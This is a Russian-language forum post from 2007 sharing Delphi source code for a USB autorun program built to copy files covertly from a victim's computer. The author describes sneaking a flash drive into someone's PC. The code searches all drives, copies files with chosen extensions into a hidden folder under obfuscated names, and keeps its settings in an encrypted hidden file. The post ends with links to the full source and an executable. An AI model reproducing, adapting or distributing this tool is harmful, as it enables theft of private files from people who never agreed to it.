| o_OBallers |
09.12.2007 08:56 |
Программа для скрытного копирования файлов с компьютера на флэшку.
При вставке съёмного диска программа запускается самостоятельно. Мне не встречались компьютеры с XP где был отключён автозапуск, то есть теоретически можно подкрасться взади вставить флэшку через минуту вытащить уже с нужными файлами. В Windows Vista при вставке вылезает окошко запускать или нет программу, при любом ответе программа запускается. В настройках можно задать ограничение места, и расширения нужных файлов.
Код:
program autorun;
uses Windows,SysUtils,Classes,RC6,ShellApi;
var HM,Handle:THandle;
Alfavit:string[26]='ABCDEFGHIJKLMNOPQRSTUVWXYZ';
AlfavitCount,MaxSize,ScanInc,RasInc:integer;
F,F1:TextFile;
Files,RasList,FileList,DiskList:TStringList;
MaxSizeString,RasListString,FileString:String;
const ScanFile='true.lll';
//-----
procedure FindFile(Dir:string);
var
SR:TSearchRec;
FindRes:Integer;
begin
FindRes := FindFirst(Dir + '*.*', faAnyFile, SR);
while FindRes = 0 do
begin
if ((SR.Attr and faDirectory) = faDirectory) and
((SR.Name = '.') or (SR.Name = '..')) then
begin
FindRes := FindNext(SR);
Continue;
end;
if ((SR.Attr and faDirectory) = faDirectory) then
begin
FindFile(Dir + SR.Name + '\');
FindRes := FindNext(SR);
Continue;
end;
FileList.Add(Dir+SR.Name);
FindRes := FindNext(SR);
end;
FindClose(SR);
end;
//-----
procedure RC6Encrypt(FileName,Key:String);
var Str1,Str2:TFileStream;
begin
Str1:=TFileStream.Create(FileName,fmOpenRead);
Str2:=TFileStream.Create(FileName+'~',fmCreate);
EncryptCopy(Str2,Str1,Str1.Size,Key);
Str1.Free;
Str2.Free;
DeleteFile(FileName);
CopyFile(PChar(FileName+'~'),PChar(FileName),True);
DeleteFile(FileName+'~');
end;
//-----
procedure RC6Decrypt(FileName,Key:String);
var Str1,Str2:TFileStream;
begin
Str1:=TFileStream.Create(FileName,fmOpenRead);
Str2:=TFileStream.Create(FileName+'~',fmCreate);
DecryptCopy(Str2,Str1,Str1.Size,Key);
Str1.Free;
Str2.Free;
DeleteFile(FileName);
CopyFile(PChar(FileName+'~'),PChar(FileName),True);
DeleteFile(FileName+'~');
end;
//-----
function EncodeBase64(const inStr: string): string;
function Encode_Byte(b: Byte): char;
const
Base64Code: string[64] =
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+.';
begin
Result := Base64Code[(b and $3F)+1];
end;
var
i: Integer;
begin
i := 1;
Result := '';
while i <=Length(InStr) do
begin
Result := Result + Encode_Byte(Byte(inStr[i]) shr 2);
Result := Result + Encode_Byte((Byte(inStr[i]) shl 4) or (Byte(inStr[i+1]) shr 4));
if i+1 <=Length(inStr) then
Result := Result + Encode_Byte((Byte(inStr[i+1]) shl 2) or (Byte(inStr[i+2]) shr 6))
else
Result := Result + '=';
if i+2 <=Length(inStr) then
Result := Result + Encode_Byte(Byte(inStr[i+2]))
else
Result := Result + '=';
Inc(i, 3);
end;
end;
//-----
function GetDirSize(Dir:string):integer;
var
Fs:TSearchRec;
Size:integer;
begin
Size:=0;
Dir:=Dir+'*.*';
FindFirst(Dir,faAnyFile,Fs);
if Fs.Name<>'' then
begin
Size:=Size+Fs.Size;
while FindNext(Fs)=0 do
Size:=Size+Fs.Size;
end;
FindClose(Fs);
Result:=(Size div 1024) div 1024;
end;
//-----
function ExtFile(FileName: string): string;
var
i:Integer;
begin
i:=Length(FileName);
while (FileName[i] <> '\') and (i > 0) do
i := i - 1;
Result := Copy(FileName, i + 1, Length(FileName) - i);
end;
//-----
function ApplicationUse(FName:string): boolean;
var
HFileRes: HFILE;
begin
Result := false;
if not FileExists(fName) then exit;
HFileRes := CreateFile(pchar(fName), GENERIC_READ or GENERIC_WRITE, 0, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
Result := (HFileRes = INVALID_HANDLE_VALUE);
if not Result then CloseHandle(HFileRes);
end;
//-----
function ExtRas(const AUrl:string):string;
var
i:Integer;
ms:String;
begin
i:=LastDelimiter('.',AUrl);
ms:=Copy(AUrl,i+1,Length(AUrl)-(i));
Result:=Copy(ms,0,Length(ms));
end;
//-----Íå äîïóñòèòü çàïóñê âòîðîãî ýêçåìïëÿðà
function Check:boolean;
begin
HM:=OpenMutex(MUTEX_ALL_ACCESS,false,'MyOwnMutex');
Result:=(HM<>0);
if HM=0 then
HM:=CreateMutex(nil,false,'MyOwnMutex');
end;
//-----
function DiskInDrive(const Drive:char):Boolean;
var
DrvNum:byte;
EMode:Word;
begin
result:=false;
DrvNum:=ord(Drive);
if DrvNum >= ord('a') then
dec(DrvNum, $20);
EMode:=SetErrorMode(SEM_FAILCRITICALERRORS);
try
if DiskSize(DrvNum - $40) <> -1 then
result:=true
else
messagebeep(0);
finally
SetErrorMode(EMode);
end;
end;
//-----
function Path:string;
begin
Result:=ExtractFilePath(ParamStr(0));
end;
//-----
begin
ShellExecute(Handle,nil,PChar(Path),nil,nil,SW_SHOW);
if Check then Exit;
if not FileExists(Path+ScanFile) then
begin//not FileExists 1
AssignFile(F,Path+ScanFile);
Rewrite(F);
CloseFile(F);
SetFileAttributes(PChar(Path+ScanFile),faHidden);
if FileExists(Path+'autorun.ini') then
begin//if autorun.ini 2
RC6Decrypt(Path+'autorun.ini','holdem');
AssignFile(F1,Path+'autorun.ini');
Reset(F1);
Readln(F1,MaxSizeString);
MaxSize:=StrToInt(MaxSizeString);
Readln(F1,RasListString);
CloseFile(F1);
RC6Encrypt(Path+'autorun.ini','holdem');
SetFileAttributes(PChar(Path+ScanFile),faHidden);
SetFileAttributes(PChar(Path+'autorun.ini'),faHidden);
RasList:=TStringList.Create;
RasList.Text:=StringReplace(RasListString,'***',#13#10,[rfReplaceAll]);
DiskList:=TStringList.Create;
for AlfavitCount:=0 to 25 do
begin//for 3
if DiskInDrive(Alfavit[AlfavitCount]) then DiskList.Add(Alfavit[AlfavitCount]);
end;//for 3
FileList:=TStringList.Create;
for ScanInc:=0 to DiskList.Count-1 do
begin//for 4
if (DiskList[ScanInc]+':\'<>Path) then FindFile(DiskList[ScanInc]+':\');
end;//for 4
Files:=TStringList.Create;
Files.Clear;
for ScanInc:=0 to FileList.Count-1 do
begin//for 5
FileString:=FileList[ScanInc];
for RasInc:=0 to RasList.Count-1 do
begin//for 6
if ExtRas(FileString)=RasList[RasInc] then
begin//if 7
if not ApplicationUse(FileString) then
begin//if 8
CopyFile(PChar(FileString),PChar(Path+'VOLUME_ID\'+EnCodeBase64('['+IntToStr(ScanInc)+']'+ExtFile(FileString))),True);
if GetDirSize(Path+'VOLUME_ID\')>MaxSize then
begin//if 9
Exit;
end;//if 9
end;//if 8
end;//if 7
end;//for 6
end;//for 5
end//if autorun.ini 2
else Exit;
end;//not FileExists 1
end.
Полный исходник http://a-alaget.narod.ru/sourse.html
Exe файл http://a-alaget.narod.ru/programs.html |
